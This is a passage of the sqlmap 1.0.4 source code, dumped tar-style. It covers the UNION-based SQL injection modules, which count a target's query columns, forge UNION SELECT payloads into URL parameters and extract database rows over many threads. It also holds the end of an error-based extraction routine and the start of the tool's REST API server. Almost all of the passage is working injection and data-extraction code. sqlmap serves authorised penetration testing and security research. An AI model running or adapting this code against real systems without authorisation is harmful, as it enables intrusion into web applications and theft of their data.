kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) if not kb.threadContinue: break if output and isListLike(output) and len(output) == 1: output = output[0] with kb.locks.value: index = None if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) for index in xrange(len(threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, output)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: threadData.shared.lastFlushed += 1 threadData.shared.value.append(threadData.shared.buffered[0][1]) del threadData.shared.buffered[0] runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring): value = value[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration) logger.debug(debugMsg) return value sqlmap-1.0.4/lib/techniques/union/000077500000000000000000000000001270044205500170565ustar00rootroot00000000000000sqlmap-1.0.4/lib/techniques/union/__init__.py000066400000000000000000000002261270044205500211670ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/techniques/union/test.py000066400000000000000000000343261270044205500204170ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import random import re from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDBMSError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import PAYLOAD from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import UNION_STDEV_COEFF from lib.core.settings import MIN_RATIO from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL from lib.core.settings import ORDER_BY_STEP from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None def _orderByTechnique(): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I) if _orderByTest(1) and not _orderByTest(randomInt()): infoMsg = "ORDER BY technique seems to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: if _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found try: pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1: found = kb.orderByColumns or _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] if len(filter(lambda x: x[1], contains)) == 1: retVal = filter(lambda x: x[1], contains)[0][0] break if not retVal: if min_ in ratios: ratios.pop(ratios.index(min_)) if max_ in ratios: ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(map(lambda x: x == min_ and x != max_, ratios)): retVal = maxItem[0] elif all(map(lambda x: x != min_ and x == max_, ratios)): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] finally: kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg) return retVal def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): if vector: break # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target URL is # affected by an exploitable union SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warn(warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" logger.warn(warnMsg) else: break return validPayload, vector def _unionConfirm(comment, place, parameter, prefix, suffix, count): validPayload = None vector = None # Confirm the union SQL injection and get the exact column # position which can be used to extract data validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count) # Assure that the above function found the exploitable full union # SQL injection position if not validPayload: validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) return validPayload, vector def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]): warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " test = readInput(message, default="Y") if test[0] not in ("y", "Y"): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all([validPayload, vector]) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) return validPayload, vector def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return kb.technique = PAYLOAD.TECHNIQUE.UNION validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) return validPayload, vector sqlmap-1.0.4/lib/techniques/union/use.py000066400000000000000000000413001270044205500202220ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import flattenValue from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError from lib.core.convert import htmlunescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from thirdparty.odict.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: # Prepare expression with delimiters injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) # Forge the UNION SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("
    ", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) else: trimmed = _("%s(?P.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal def configUnion(char=None, columns=None): def _configUnionChar(char): if not isinstance(char, basestring): return kb.uChar = char if conf.uChar is not None: kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'")) def _configUnionCols(columns): if not isinstance(columns, basestring): return columns = columns.replace(" ", "") if "-" in columns: colsStart, colsStop = columns.split("-") else: colsStart, colsStop = columns, columns if not colsStart.isdigit() or not colsStop.isdigit(): raise SqlmapSyntaxException("--union-cols must be a range of integers") conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) if conf.uColsStart > conf.uColsStop: errMsg = "--union-cols range has to be from lower to " errMsg += "higher number of columns" raise SqlmapSyntaxException(errMsg) _configUnionChar(char) _configUnionCols(conf.uCols or columns) def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ kb.forcePartialUnion or \ (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: with kb.locks.value: if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): items = parseUnionPage(output) if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) if isListLike(items): # in case that we requested N columns and we get M!=N then we have to filter a bit if len(items) > 1 and len(expressionFieldsList) > 1: items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] items = [_ for _ in flattenValue(items)] if len(items) > len(expressionFieldsList): filtered = OrderedDict() for item in items: key = re.sub(r"[^A-Za-z0-9]", "", item).lower() if key not in filtered or re.search(r"[^A-Za-z0-9]", item): filtered[key] = item items = filtered.values() items = [items] index = None for index in xrange(len(threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, items)) else: index = None if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) for index in xrange(len(threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, None)) items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] if not isNoneValue(_): threadData.shared.value.extend(arrayizeValue(_)) del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items)) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status, True) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value sqlmap-1.0.4/lib/utils/000077500000000000000000000000001270044205500147165ustar00rootroot00000000000000sqlmap-1.0.4/lib/utils/__init__.py000066400000000000000000000002261270044205500170270ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/utils/api.py000066400000000000000000000666771270044205500160670ustar00rootroot00000000000000#!/usr/bin/env python # -*- coding: utf-8 -*- """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import logging import os import re import shlex import socket import sqlite3 import sys import tempfile import time import urllib2 from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import unArrayizeValue from lib.core.convert import base64pickle from lib.core.convert import hexencode from lib.core.convert import dejsonize from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb from lib.core.data import paths from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.defaults import _defaults from lib.core.enums import CONTENT_STATUS from lib.core.enums import PART_RUN_CONTENT_TYPES from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import IS_WIN from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook from thirdparty.bottle.bottle import post from thirdparty.bottle.bottle import request from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run # global settings class DataStore(object): admin_id = "" current_db = None tasks = dict() # API objects class Database(object): filepath = None def __init__(self, database=None): self.database = self.filepath if database is None else database self.connection = None self.cursor = None def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None) self.cursor = self.connection.cursor() logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): if self.cursor: self.cursor.close() if self.connection: self.connection.close() def commit(self): self.connection.commit() def execute(self, statement, arguments=None): while True: try: if arguments: self.cursor.execute(statement, arguments) else: self.cursor.execute(statement) except sqlite3.OperationalError, ex: if not "locked" in getSafeExString(ex): raise else: break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() def init(self): self.execute("CREATE TABLE logs(" "id INTEGER PRIMARY KEY AUTOINCREMENT, " "taskid INTEGER, time TEXT, " "level TEXT, message TEXT" ")") self.execute("CREATE TABLE data(" "id INTEGER PRIMARY KEY AUTOINCREMENT, " "taskid INTEGER, status INTEGER, " "content_type INTEGER, value TEXT" ")") self.execute("CREATE TABLE errors(" "id INTEGER PRIMARY KEY AUTOINCREMENT, " "taskid INTEGER, error TEXT" ")") class Task(object): def __init__(self, taskid, remote_addr): self.remote_addr = remote_addr self.process = None self.output_directory = None self.options = None self._original_options = None self.initialize_options(taskid) def initialize_options(self, taskid): datatype = {"boolean": False, "string": None, "integer": None, "float": None} self.options = AttribDict() for _ in optDict: for name, type_ in optDict[_].items(): type_ = unArrayizeValue(type_) self.options[name] = _defaults.get(name, datatype[type_]) # Let sqlmap engine knows it is getting called by the API, # the task ID and the file path of the IPC database self.options.api = True self.options.taskid = taskid self.options.database = Database.filepath # Enforce batch mode and disable coloring and ETA self.options.batch = True self.options.disableColoring = True self.options.eta = False self._original_options = AttribDict(self.options) def set_option(self, option, value): self.options[option] = value def get_option(self, option): return self.options[option] def get_options(self): return self.options def reset_options(self): self.options = AttribDict(self._original_options) def engine_start(self): if os.path.exists("sqlmap.py"): self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN) else: self.process = Popen(["sqlmap", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN) def engine_stop(self): if self.process: self.process.terminate() return self.process.wait() else: return None def engine_process(self): return self.process def engine_kill(self): if self.process: try: self.process.kill() return self.process.wait() except: pass return None def engine_get_id(self): if self.process: return self.process.pid else: return None def engine_get_returncode(self): if self.process: self.process.poll() return self.process.returncode else: return None def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) # Wrapper functions for sqlmap engine class StdDbOut(object): def __init__(self, taskid, messagetype="stdout"): # Overwrite system standard output and standard error to write # to an IPC database self.messagetype = messagetype self.taskid = taskid if self.messagetype == "stdout": sys.stdout = self else: sys.stderr = self def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": if content_type is None: if kb.partRun is not None: content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) else: # Ignore all non-relevant messages return output = conf.database_cursor.execute( "SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) # Delete partial output from IPC database if we have got a complete output if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: for index in xrange(len(output)): conf.database_cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) if kb.partRun: kb.partRun = None elif status == CONTENT_STATUS.IN_PROGRESS: if len(output) == 0: conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) else: new_value = "%s%s" % (dejsonize(output[0][2]), value) conf.database_cursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) else: conf.database_cursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) def flush(self): pass def close(self): pass def seek(self): pass class LogRecorder(logging.StreamHandler): def emit(self, record): """ Record emitted events to IPC database for asynchronous I/O communication with the parent process """ conf.database_cursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, record.msg % record.args if record.args else record.msg)) def setRestAPILog(): if hasattr(conf, "api"): try: conf.database_cursor = Database(conf.database) conf.database_cursor.connect("client") except sqlite3.OperationalError, ex: raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database) # Set a logging handler that writes log messages to a IPC database logger.removeHandler(LOGGER_HANDLER) LOGGER_RECORDER = LogRecorder() logger.addHandler(LOGGER_RECORDER) # Generic functions def is_admin(taskid): return DataStore.admin_id == taskid @hook("after_request") def security_headers(json_header=True): """ Set some headers across all HTTP responses """ response.headers["Server"] = "Server" response.headers["X-Content-Type-Options"] = "nosniff" response.headers["X-Frame-Options"] = "DENY" response.headers["X-XSS-Protection"] = "1; mode=block" response.headers["Pragma"] = "no-cache" response.headers["Cache-Control"] = "no-cache" response.headers["Expires"] = "0" if json_header: response.content_type = "application/json; charset=UTF-8" ############################## # HTTP Status Code functions # ############################## @return_error(401) # Access Denied def error401(error=None): security_headers(False) return "Access denied" @return_error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" @return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" @return_error(500) # Internal 